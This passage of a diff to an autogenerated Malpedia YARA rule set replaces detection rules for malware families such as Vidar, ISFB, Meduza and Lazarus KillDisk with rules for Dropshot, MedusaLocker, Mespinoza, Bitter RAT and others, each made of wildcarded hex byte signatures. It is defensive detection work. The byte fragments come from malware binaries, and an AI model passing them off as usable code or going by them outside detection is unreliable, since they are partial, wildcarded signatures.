+ $sequence_7 = { e9???????? 0f84c0000000 418d5424ff 6641f7c2266e 4c0fa4cfaa 4c8bed } + $sequence_8 = { 55 d9b726ae0b68 a947d046d6 5b 21bd5e13d92f 5a 81e516495a66 } + $sequence_9 = { f5 f69c2418000000 5f 415e 415e 415e 5f } condition: - 7 of them and filesize < 1124352 + 7 of them and filesize < 3702784 } -rule MALPEDIA_Win_Lockfile_Auto : FILE +rule MALPEDIA_Win_Mm_Core_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce8b9f2d-3289-5da5-8ae6-f5695e030c37" + id = "43e09f87-25f0-5aa1-a65d-f3cf8216d568" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lockfile_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mm_core_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "aad82c712a5f767aa5023ac75b23ae49a83688df028acae164a8fa13e666e8c1" + logic_hash = "6a74d0b4f0725617f5a9081525f73e5b30645b5ad4c0ae527057295ae3a12104" score = 75 quality = 75 tags = "FILE" @@ -108540,34 +108950,34 @@ rule MALPEDIA_Win_Lockfile_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48f76328 498d0c00 488b4630 493bc8 4883d200 4c03e2 488955f7 } - $sequence_1 = { 48896c2418 56 4156 4157 4883ec30 498be9 4d8bf0 } - $sequence_2 = { c784249000000002000000 4c8bc7 488bd7 488d4c2420 e8???????? 90 4c8d4318 } - $sequence_3 = { 4898 488d0d74280700 8b542438 ffc2 8bd2 4c8b442430 418b1490 } - $sequence_4 = { e8???????? cc 4057 4883ec20 488b5110 } - $sequence_5 = { 498b4348 493bc8 4883d200 4c03e2 48895587 48f76650 4c8d0401 } - $sequence_6 = { 48f76118 4c894df0 4c8bea 488d0c03 483bcb 488b5d50 4983d500 } - $sequence_7 = { 4433d5 41c1c802 4403d0 81c59979825a 4503d3 448bda 4533d8 } - $sequence_8 = { 488d059fdf0700 bf04000000 48895c2450 4c8be1 8bd7 488d4c2460 6666660f1f840000000000 } - $sequence_9 = { 418bcd 4103d4 c1c90d 448b2424 4103d0 418bc5 4403e2 } + $sequence_0 = { 33ff 8db7e8ba0010 ff36 e8???????? 83c704 } + $sequence_1 = { ff15???????? 85c0 0f8482000000 8b442410 3bc7 747a 40 } + $sequence_2 = { 6800000008 51 51 51 66894c2464 8bcb } + $sequence_3 = { 8bf0 8975d4 85f6 0f8485000000 c745fc00000000 8a0e } + $sequence_4 = { 8b84246c080000 56 57 33ff 6a3c 8bf2 } + $sequence_5 = { 6a00 50 e8???????? 83c40c 33c0 33c9 8d542408 } + $sequence_6 = { 3bc1 0f87f5090000 ff248516540010 33c0 } + $sequence_7 = { 33c0 eb1a 8bc8 83e01f c1f905 8b0c8d40400110 c1e006 } + $sequence_8 = { 83e71f c1e706 8b048540400110 8d44380c } + $sequence_9 = { c744240c01010000 ff15???????? 8d4c2418 51 8d54240c } condition: - 7 of them and filesize < 1163264 + 7 of them and filesize < 319488 } -rule MALPEDIA_Win_Isfb_Auto : FILE +rule MALPEDIA_Win_Dropshot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b7221ee8-15b6-53d3-9858-cbee4891c3dd" + id = "346ce58d-bd06-5f2e-8d2b-941cfe3b7a37" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isfb_auto.yar#L1-L1225" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dropshot_auto.yar#L1-L100" license_url = "N/A" - logic_hash = "8c0f88cb914238661f125a7c021aa83545337967694ef579c4ecd4c1e0598934" + logic_hash = "e0a96c7028a31f8096e80273f88669f127d961f8172465734bc77ab98df7c7f9" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -108579,163 +108989,30 @@ rule MALPEDIA_Win_Isfb_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb02 33c0 3bc7 741b 50 33c0 } - $sequence_1 = { 50 33c0 e8???????? 3bc7 740f } - $sequence_2 = { e8???????? eb02 33c0 3bc7 7413 50 } - $sequence_3 = { 3bc7 7413 50 6a10 58 e8???????? } - $sequence_4 = { 6a10 58 e8???????? 3bc7 7406 50 e8???????? } - $sequence_5 = { ff75f0 ff75f4 6822010000 e9???????? ff7508 } - $sequence_6 = { 6a64 ff15???????? a1???????? 85c0 7407 83ee64 } - $sequence_7 = { ff35???????? e8???????? 8bf0 3bf3 7443 } - $sequence_8 = { 5e 8bc5 5d 5b 59 c20400 8325????????00 } - $sequence_9 = { 59 c20400 8325????????00 6a00 68???????? 6a01 ff742410 } - $sequence_10 = { ff15???????? 85c0 a3???????? 7402 ffe0 c20400 } - $sequence_11 = { 50 e8???????? 3bdf 7414 } - $sequence_12 = { c20400 55 8bec 83ec0c a1???????? 8365f800 57 } - $sequence_13 = { ff15???????? 3c05 7506 84e4 7704 } - $sequence_14 = { 8b4e10 83e103 740d 51 50 ff7510 e8???????? } - $sequence_15 = { 7417 8b10 2b55fc 8b7d10 0155fc } - $sequence_16 = { ff7510 e8???????? 83c40c c745fc01000000 8b4610 } - $sequence_17 = { 8bd8 85db 895df4 0f84c7000000 56 53 } - $sequence_18 = { b8???????? 53 bb60ea0000 53 ff750c } - $sequence_19 = { 8b7d10 0155fc 83451004 83c004 49 8917 75e9 } - $sequence_20 = { ff37 ff15???????? 2b442414 50 8b07 } - $sequence_21 = { 6a0d 58 e8???????? 85c0 740d 8906 83c604 } - $sequence_22 = { 83c40c 8974240c c6401a00 8b44240c 85c0 } - $sequence_23 = { 8b07 03442418 50 56 ff5310 } - $sequence_24 = { 5b c20800 55 8bec 83e4f8 83ec14 8364240400 } - $sequence_25 = { 8906 83c604 47 83ff03 } - $sequence_26 = { ff35???????? ff15???????? 8b442414 8b4c240c 8907 8b442418 894110 } - $sequence_27 = { 8b4b24 2b4b28 894c2410 8b4b34 f6c140 } - $sequence_28 = { 8b5d0c 837b240c 56 57 8b3b 897c241c 760a } - $sequence_29 = { 8b3b 897c241c 760a 8b4b20 e8???????? eb02 } - $sequence_30 = { 74a3 33ff eb0b 33ff eb03 } - $sequence_31 = { 8b4a0c 3bc8 7415 8b5210 } - $sequence_32 = { 752f 8b450c 8930 eb33 6a00 } - $sequence_33 = { 8b4a3c 03ca 0fb75114 56 } - $sequence_34 = { 50 8d4508 50 53 8bc6 e8???????? } - $sequence_35 = { 750e 837d0800 7408 ff7508 e8???????? } - $sequence_36 = { 83ec48 53 8b5d08 56 57 33ff } - $sequence_37 = { 8b5210 3bd0 740e 8b742408 } - $sequence_38 = { 837d1800 b8???????? 7505 b8???????? 53 } - $sequence_39 = { 8a4604 2404 f6d8 1bc0 83e006 } - $sequence_40 = { 742d ff75fc 6a0d 58 } - $sequence_41 = { c21000 55 8bec 83ec14 a1???????? 53 } - $sequence_42 = { 50 57 6a01 ff75e0 68???????? e8???????? } - $sequence_43 = { 53 b800080000 50 56 ff35???????? } - $sequence_44 = { 8b35???????? 50 83c604 e8???????? 3bfb } - $sequence_45 = { 50 8bd7 e8???????? eb02 33c0 3bc3 741b } - $sequence_46 = { 50 e8???????? 3bfb 7414 } - $sequence_47 = { e8???????? 85db 7423 8b0d???????? 0fb701 } - $sequence_48 = { ff75fc 56 ff35???????? ff15???????? 53 56 } - $sequence_49 = { 0f854affffff 894330 e9???????? 55 } - $sequence_50 = { 752e 53 e8???????? 6a01 6a01 ff7514 } - $sequence_51 = { 8bf8 85ff 0f845d010000 8b4730 a808 } - $sequence_52 = { 0f84e2000000 8b7334 8d442418 50 8d442410 50 e8???????? } - $sequence_53 = { 8bf8 ff7510 57 ff750c 53 e8???????? 3bfe } - $sequence_54 = { ff15???????? 53 56 ff35???????? ff15???????? 5b } - $sequence_55 = { 0f8544010000 8b472c a801 742d } - $sequence_56 = { 50 56 ff5214 8bf7 8bfe e8???????? 5f } - $sequence_57 = { 56 ff35???????? 8945f8 ff15???????? 8bd8 } - $sequence_58 = { 8b4330 a804 0f8451ffffff 8b470c } - $sequence_59 = { 33f6 3975fc 7410 ff75fc 56 ff35???????? } - $sequence_60 = { a840 7509 83632800 e9???????? 8b4330 a840 0f84e2000000 } - $sequence_61 = { 53 e8???????? 3bfe 740e 57 56 } - $sequence_62 = { 7708 0fb7c0 83e820 eb03 0fb7c0 668901 5f } - $sequence_63 = { c9 c20400 51 56 ff74240c } - $sequence_64 = { e8???????? 85c0 7507 33db 895d08 eb03 } - $sequence_65 = { 50 57 e8???????? e9???????? 68???????? } - $sequence_66 = { ff35???????? ff15???????? 33db 6a01 e8???????? } - $sequence_67 = { 8b45fc 5f 5b c9 c21400 55 } - $sequence_68 = { 8b3d???????? 56 ffd7 53 56 ffd7 } - $sequence_69 = { 8ac3 5b c9 c20400 53 56 8bf0 } - $sequence_70 = { 8bf0 8932 83c204 ff4c240c 75e6 5e 5b } - $sequence_71 = { 8bf1 05fefeffff 33db 33c9 } - $sequence_72 = { 750d eb09 ff7618 ff15???????? } - $sequence_73 = { 8b02 43 8acb d3c0 33c6 33442410 8bf0 } - $sequence_74 = { 5b c3 a1???????? 83c040 } - $sequence_75 = { 3bfb 753e ff7618 8b3d???????? ffd7 ff761c } - $sequence_76 = { 47 83c304 3b3e 72dc 8b45fc } - $sequence_77 = { 53 ff7614 ff15???????? 85c0 7512 ff15???????? } - $sequence_78 = { 8d442430 50 8d442428 50 8d442428 50 } - $sequence_79 = { 488bd8 0f8405010000 488bc8 ff15???????? } - $sequence_80 = { 7416 a1???????? 83c004 50 be???????? } - $sequence_81 = { e8???????? e9???????? b909010000 e9???????? } - $sequence_82 = { ff15???????? 488bcf 48870d???????? 483bcf 7405 } - $sequence_83 = { c744242000010000 ff15???????? 4883f8ff 488bf8 7442 } - $sequence_84 = { b90e010000 41b800000100 4889442420 e8???????? e9???????? } - $sequence_85 = { 741d 3dd2100000 7416 a1???????? } - $sequence_86 = { ff35???????? ffd3 8bd8 85db 7476 } - $sequence_87 = { 898c24f0000000 4533c9 4533c0 498bcb ff5028 } - $sequence_88 = { 0f8386000000 488b18 8364245800 33c0 21442450 21442454 } - $sequence_89 = { 6a03 8935???????? 8935???????? 8935???????? } - $sequence_90 = { 488bcf c744242860ea0000 4c0f45c8 48895c2420 e8???????? 85c0 8bd8 } - $sequence_91 = { 53 56 8bf1 05fefeffff } - $sequence_92 = { a1???????? 25efff0000 0bc2 e9???????? } - $sequence_93 = { 898424f4000000 498b03 898c24f0000000 4533c9 } - $sequence_94 = { 33db 66ba2000 498bcc ff15???????? 4885c0 488bf8 7417 } - $sequence_95 = { 8b8c2490000000 83bc248800000000 4c8b442440 488b542448 } - $sequence_96 = { e9???????? 4885f6 7417 4863461c 2b6e1c 4c03e8 488b4610 } - $sequence_97 = { 4883ec20 488bf1 488b0d???????? 4c8be2 } - $sequence_98 = { 4154 4155 4883ec30 33db 33ed 418bf9 48215810 } - $sequence_99 = { 488b0d???????? 448bc3 33d2 41c1e003 ff15???????? 4885c0 488be8 } - $sequence_100 = { 0f84eb000000 83780408 0f84d9000000 488bcb e8???????? } - $sequence_101 = { 488b0d???????? 33d2 ff15???????? bb01000000 498bcc eb07 83c301 } - $sequence_102 = { 895df4 895df0 c745f857000000 bf19010000 } - $sequence_103 = { eb08 488bce e8???????? 488b5c2440 488b742448 488bc7 } - $sequence_104 = { 488b5610 4d8bc6 488bc8 e8???????? 4863561c 8bc5 2b461c } - $sequence_105 = { 488bcf ff15???????? 4c8964dd00 83c301 } - $sequence_106 = { 5f c20400 55 8bec 83e4f8 81ec9c000000 53 } - $sequence_107 = { 8bc7 e8???????? 8d4618 8b08 50 51 ff7614 } - $sequence_108 = { 8bc6 e8???????? 8b06 8b08 57 } - $sequence_109 = { 6a20 40 50 ffd6 } - $sequence_110 = { 5e 33c0 c9 c20400 55 8bec 51 } - $sequence_111 = { 4c8bcf 4889442428 8364242000 33d2 33c9 ff15???????? } - $sequence_112 = { 7557 813d????????04df2209 743c 8d4604 50 } - $sequence_113 = { 488b0d???????? 4c63c0 33d2 4983c00c ff15???????? } - $sequence_114 = { ff15???????? 83cfff 3bc7 8bd8 } - $sequence_115 = { 480f45ca 488bc1 4883c438 c3 48895c2408 48896c2410 4889742418 } - $sequence_116 = { 448bc0 8bd8 33d2 4983c001 } - $sequence_117 = { e9???????? 488bcb ff15???????? a810 } - $sequence_118 = { ff15???????? 8945f8 85c0 7418 3bd8 7514 57 } - $sequence_119 = { 803f2a 750b 4883c701 83c3ff } - $sequence_120 = { 85ff 756f 8b0d???????? 8b05???????? } - $sequence_121 = { 4d03c0 33d2 ff15???????? 488be8 } - $sequence_122 = { 75ee 488bd5 33c9 ff15???????? 488bf8 } - $sequence_123 = { 488bf8 4885c0 7420 488bd3 488bc8 ff15???????? 488b0d???????? } - $sequence_124 = { 741d 397b04 7618 488d7308 488b0e ff15???????? ffc7 } - $sequence_125 = { c744242880000000 89742420 ff15???????? 488bf0 4883f8ff 742b } - $sequence_126 = { 7510 488b0b e8???????? 85c0 0f859b000000 } - $sequence_127 = { 85c0 0f8561010000 8b4348 a801 742c 488b0b e8???????? } - $sequence_128 = { 85c0 0f859b000000 4863533c 488b4608 } - $sequence_129 = { 8b434c 84c0 0f89a3000000 8b434c a804 7415 } - $sequence_130 = { 85c0 0f85e8000000 488b4608 488b0e 4533c9 } - $sequence_131 = { e8???????? 85c0 0f8561010000 8b4348 } - $sequence_132 = { 7505 217b3c eb0b 8b434c 84c0 0f89a3000000 } - $sequence_133 = { 7508 8b5304 83c304 01f2 8b4c241c 01d1 } - $sequence_134 = { 8b4c2424 01c1 83c304 894c2410 56 90 } - $sequence_135 = { 40 c1ca08 e2e4 c9 } - $sequence_136 = { 56 57 51 64ff3530000000 58 8b400c } - $sequence_137 = { 30c9 eb67 8044241301 0fb6ca 01cb } - $sequence_138 = { 89ec 5d c20c00 60 } - $sequence_139 = { 90 89ce 83e603 750c 8b5d10 } - $sequence_140 = { 8b3a 83c204 8b0a 83e908 } + $sequence_0 = { 6a05 ff15???????? ff15???????? 6a00 6a00 6a00 } + $sequence_1 = { ff15???????? 5d c3 3b0d???????? f27502 } + $sequence_2 = { 6a64 ff15???????? 6800800000 6a00 } + $sequence_3 = { e8???????? eb05 e8???????? 68e8030000 ff15???????? } + $sequence_4 = { 6a00 6a00 ff15???????? 6a00 6a00 68???????? } + $sequence_5 = { ff15???????? 6a04 6800100000 6808020000 } + $sequence_6 = { e8???????? 83c40c 6a04 6800100000 6804010000 6a00 } + $sequence_7 = { ff15???????? 6a00 ff15???????? 6a05 ff15???????? ff15???????? } condition: - 7 of them and filesize < 2940928 + 7 of them and filesize < 483328 } -rule MALPEDIA_Win_Meduza_Auto : FILE +rule MALPEDIA_Win_Vohuk_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e3895974-72b9-57f5-8c34-0e6d028adf2b" + id = "fa7917d0-5d38-5842-a477-3065670570e2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meduza" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meduza_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vohuk" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vohuk_auto.yar#L1-L131" license_url = "N/A" - logic_hash = "91edd922ee662fa1f50c4b9c5768d207acd5144b81bbe8f2830a6c18fd7c29e5" + logic_hash = "1c7046d07a287745fd2dd564d0be780eb277cd73b0fb9a0541750f2b4df4fc07" score = 75 quality = 75 tags = "FILE" @@ -108749,32 +109026,32 @@ rule MALPEDIA_Win_Meduza_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b8d7cf2ffff 0f288d90ebffff 898decf8ffff 8d8d90ebffff 8985e8f8ffff 8d5101 660fef8de0f8ffff } - $sequence_1 = { 898db4f8ffff 8985b0f8ffff c78548f8ffff22b9d72e c7854cf8ffff97001a04 8b8548f8ffff 8b8d4cf8ffff c5fe6f8540f1ffff } - $sequence_2 = { 898d54f9ffff c785d8e4ffff12b8295c c785dce4ffffd94ef7ef 8b85d8e4ffff 8b8ddce4ffff 898558f9ffff 898d5cf9ffff } - $sequence_3 = { 0f288d00edffff 898d5cfaffff 8d8d00edffff 898558faffff 8d5101 660fef8d50faffff 0f298d00edffff } - $sequence_4 = { 8b4908 8d5801 2bca 895de0 c1f904 b8ffffff0f 8bd1 } - $sequence_5 = { 0f1f440000 8a01 41 84c0 75f9 2bca 8d8530e1ffff } - $sequence_6 = { c78578fdffff88642bdd c7857cfdffff13203a28 8b8578fdffff 8b8d7cfdffff 898d2cfeffff 898528feffff c78578fdffff6d0b2891 } - $sequence_7 = { 6aff 68???????? 64a100000000 50 53 81eca8060000 a1???????? } - $sequence_8 = { c5f8298d80f4ffff c5f81185e8e8ffff c785f8e8ffff00000000 c785fce8ffff00000000 c5f877 8a01 41 } - $sequence_9 = { 51 52 e8???????? 83c408 eb08 85c9 0f85a9000000 } + $sequence_0 = { c745a441003500 b81f6b193a 8bce f7ee c1fa05 8bc2 c1e81f } + $sequence_1 = { c7403c9e008200 c7404083008300 c74044ce00c200 c74048ce00d100 c7404cbb00b700 c74050ce00d500 } + $sequence_2 = { e8???????? ff75ac 6a00 56 ffd0 8b7da0 e9???????? } + $sequence_3 = { c745ec00000000 50 ffd7 85c0 7474 8b0d???????? ba43c7bfd0 } + $sequence_4 = { 83f804 7646 6a14 81ff00010000 0f8618010000 51 } + $sequence_5 = { 7586 c745fc2f000000 8d9dd8feffff 8b5334 8d4004 8b33 8d5b04 } + $sequence_6 = { c645ff00 8b0d???????? ba05bc94bf 8b35???????? 6a15 e8???????? } + $sequence_7 = { 7307 bee8030000 eb0d 81fe10270000 7605 be10270000 8b0d???????? } + $sequence_8 = { ffd0 8bd8 bf41000000 b81a000000 8945fc f6c301 0f858a000000 } + $sequence_9 = { 51 6a38 8d8d60ffffff 51 6a0a 56 ffd0 } condition: - 7 of them and filesize < 1433600 + 7 of them and filesize < 260096 } -rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE +rule MALPEDIA_Win_Zedhou_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc3751c1-3c9f-5c03-98ac-f7ffbc0daf9f" + id = "671058cb-44d0-5a2d-a903-c2aaa9e6edab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hi_zor_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hi_zor_rat_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zedhou" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zedhou_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "71847819d2d9074c6684d2c1f561750135c21371e8d9757a34aa466c08b5e5fd" + logic_hash = "e746dfbb5d54339f68149693ef0514b3aa092790791cb02e6ab7c27b77b04068" score = 75 quality = 75 tags = "FILE" @@ -108788,32 +109065,32 @@ rule MALPEDIA_Win_Hi_Zor_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 235014 0bda 8b501c 03df 8d9413aff7448b 8bde } - $sequence_1 = { 83c002 6685c9 75f5 8dbdc8f6ffff 2bc2 83c7fe 668b4f02 } - $sequence_2 = { c1e611 0bd6 03501c 8bfa f7d7 237810 23da } - $sequence_3 = { 33db 68fe0f0000 8d94248e080000 33c9 53 52 } - $sequence_4 = { 8bf8 52 57 ff15???????? 8b4d0c 8b5508 6a00 } - $sequence_5 = { 6a00 8bf0 8d45f0 50 56 6a00 } - $sequence_6 = { 25ffffff1f 03c0 6a40 03c0 c1ea1d } - $sequence_7 = { 50 89bb40010000 89bd58ffffff ff15???????? } - $sequence_8 = { 035858 8975fc 8b701c 8d9c335314c4ff 8b75f8 23f7 } - $sequence_9 = { 0fb6b6b4490010 ff24b594490010 52 53 8bf9 e8???????? 5f } + $sequence_0 = { 03c8 8d954cfdffff 51 8d8550fcffff 52 50 68???????? } + $sequence_1 = { 50 0f80d8000000 51 52 e8???????? ffd7 8b85d4feffff } + $sequence_2 = { 68???????? ff15???????? 8bd0 8d8d70ffffff ff15???????? 50 8d956cffffff } + $sequence_3 = { 8b55a0 52 ff15???????? 8bd0 8d4d98 ff15???????? 50 } + $sequence_4 = { 6a00 51 50 ff35???????? ff15???????? 85c0 0f8c0b1a0000 } + $sequence_5 = { 8b04c5fc201822 8b7824 8b450c 85ff 0f847c340000 8b08 3b0f } + $sequence_6 = { ebe5 55 8bec 83ec18 53 56 57 } + $sequence_7 = { 8bcf e8???????? 8bf0 8bcb ff760c ff7608 e8???????? } + $sequence_8 = { 8d45d4 50 6a02 ff15???????? 83c40c 8d4dc0 51 } + $sequence_9 = { ffb610060000 81c610060000 8bc8 e8???????? ff36 832700 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 499712 } -rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE +rule MALPEDIA_Win_Bitter_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "51d8d349-628d-5955-8390-6050e3d90319" + id = "b191a00c-6fde-5571-a34e-d2213ef4e8fa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazarus_killdisk_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bitter_rat_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "0f1cb10726a24b0f5193b1d9b38bf0914806bbc39c92530769ca658a86bfb258" + logic_hash = "a43bde583e40f1f224309d84df87c4be4d19f266b740acdb3a4dfc9719f341d8" score = 75 quality = 75 tags = "FILE" @@ -108827,32 +109104,32 @@ rule MALPEDIA_Win_Lazarus_Killdisk_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d48e0 80f93f 7706 0fbec0 83c020 } - $sequence_1 = { 56 ffd7 4b 75ea 56 ff15???????? } - $sequence_2 = { 7438 8d55f0 52 68???????? } - $sequence_3 = { 57 8d4c242c 68???????? 51 e8???????? } - $sequence_4 = { 8d4402ff 0fa4c109 6a00 894df4 8d4df4 c1e009 } - $sequence_5 = { 6a00 8d85e0fdffff 50 6800020000 } - $sequence_6 = { 6a00 6800000002 ffd3 8bf0 83feff } - $sequence_7 = { eb08 8d5de8 e8???????? 8b85e4fdffff 40 83c610 8985e4fdffff } - $sequence_8 = { 8d75a6 8b06 8b4e08 8b560c 8945e8 } - $sequence_9 = { ffd7 85c0 7424 68???????? 8d95e4feffff 52 } + $sequence_0 = { 42 00542f42 00cf 2f } + $sequence_1 = { 68d4070000 e8???????? 83c414 a1???????? } + $sequence_2 = { 6a02 6a04 8d85d4fdffff 50 ff15???????? } + $sequence_3 = { 83e11f c1e106 8b048500124700 c644080401 57 } + $sequence_4 = { 51 8b954cd9ffff 8d84157cdcffff 50 e8???????? 83c40c 8b854cd9ffff } + $sequence_5 = { f3ab c745f8???????? b80a000000 668945ec b802000000 668945e0 0fbf45ec } + $sequence_6 = { 03048d00124700 eb02 8bc2 f6402480 0f8567ffffff 33c0 } + $sequence_7 = { 03c7 03cf 83ff1f 0f87da030000 ff24bda8864200 8bc6 e9???????? } + $sequence_8 = { 8bf4 8d8568feffff 50 6a02 ff15???????? 3bf4 } + $sequence_9 = { 8d8d68faffff 51 e8???????? 83c408 8bf4 8d85acfeffff } condition: - 7 of them and filesize < 209920 + 7 of them and filesize < 1130496 } -rule MALPEDIA_Win_Waterminer_Auto : FILE +rule MALPEDIA_Win_Medusalocker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8c2bad66-5d35-57b7-b9da-21c6dec00989" + id = "9e990ab4-0b70-5ed2-9c4d-a3d81f9ab05c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.waterminer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.waterminer_auto.yar#L1-L162" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.medusalocker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.medusalocker_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "f10b4bcaeeaace43d5cd2141c609b5656e22416293022c0fdf8f9cf3861e271d" + logic_hash = "1656532605d9f1886fe3ced1ab1c80cac05eec34432a579d536b1abe4c8a22b3" score = 75 quality = 75 tags = "FILE" @@ -108866,40 +109143,34 @@ rule MALPEDIA_Win_Waterminer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 6804100020 8b5508 52 } - $sequence_1 = { 8b9584fdffff 0fb68208794400 ff2485f0784400 8b8decfdffff 83c904 898decfdffff } - $sequence_2 = { 03bc24a8000000 488bcd 4c8d0d35cb0300 83e13f } - $sequence_3 = { b804000000 6bc014 8b8880434b00 330d???????? 894dfc } - $sequence_4 = { 02d0 49ffc3 418d4001 881418 } - $sequence_5 = { 8d8518f5ffff 50 e8???????? 83c404 898500f7ffff e8???????? 85c0 } - $sequence_6 = { 0344240c 4403d0 428b4405e7 418bd2 } - $sequence_7 = { 03442410 4403e8 428b4405e7 418bd5 } - $sequence_8 = { 03c1 03d0 488d051e580500 418b0400 } - $sequence_9 = { 6bc903 898180434b00 68???????? 8b55fc 52 } - $sequence_10 = { 02c8 41880c18 418a03 240f } - $sequence_11 = { 8945d8 837dd806 0f8797000000 8b4dd8 ff248d54e94600 8b55f8 } - $sequence_12 = { 83fa78 7f19 0fbe85f3fdffff 0fbe8800ec4900 83e10f 898d28fdffff eb0a } - $sequence_13 = { 8945f0 817df005010000 7302 eb05 e8???????? 8b4df0 c681f82c4b0000 } - $sequence_14 = { 03c0 2bc8 0f84ec040000 8d41ff 8b848288d20600 } - $sequence_15 = { 0344240c 4403d0 488d051a560500 418b0400 } + $sequence_0 = { 83c408 8b5004 52 8b00 50 8d4dd8 e8???????? } + $sequence_1 = { e8???????? c745fcffffffff 8d4d08 e8???????? 8a45eb } + $sequence_2 = { eb24 33c9 894ddc 8d4ddc e8???????? 8945e0 } + $sequence_3 = { 05c8000000 8bc8 e8???????? 6a10 e8???????? 83c404 8945ec } + $sequence_4 = { 8d45ec 50 8b4d08 e8???????? 8b4de8 } + $sequence_5 = { ff15???????? 85c0 7575 8b45c0 } + $sequence_6 = { 8b4dfc 8b11 8b4dfc 8b4210 ffd0 8be5 5d } + $sequence_7 = { 83ec0c 894dfc 8b45fc 50 8b4d08 51 e8???????? } + $sequence_8 = { e8???????? 50 8b4dd0 e8???????? 50 } + $sequence_9 = { e8???????? 8b4df0 e8???????? c745fcffffffff 8d4d08 e8???????? } condition: - 7 of them and filesize < 1556480 + 7 of them and filesize < 1433600 } -rule MALPEDIA_Win_Vidar_Auto : FILE +rule MALPEDIA_Win_Mespinoza_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a2b64f61-0adb-5b11-ad23-70455bcfca7c" + id = "64606785-caad-5456-be9c-a6b69cbeed8d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vidar_auto.yar#L1-L603" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mespinoza_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "33908c4a5b34fe0467be14ef9b31f306540934b8f5c348e181dd6ed65da6d436" + logic_hash = "8fedbfda9801fec8b36b08d0047fda05662354c890294b93f8c3d358064016b8" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -108911,95 +109182,34 @@ rule MALPEDIA_Win_Vidar_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 25ff7f0000 c3 e8???????? 8b486c } - $sequence_1 = { 7202 8b00 8d8d68fdffff 51 50 } - $sequence_2 = { 8b8648af0100 c1e803 038644af0100 5e 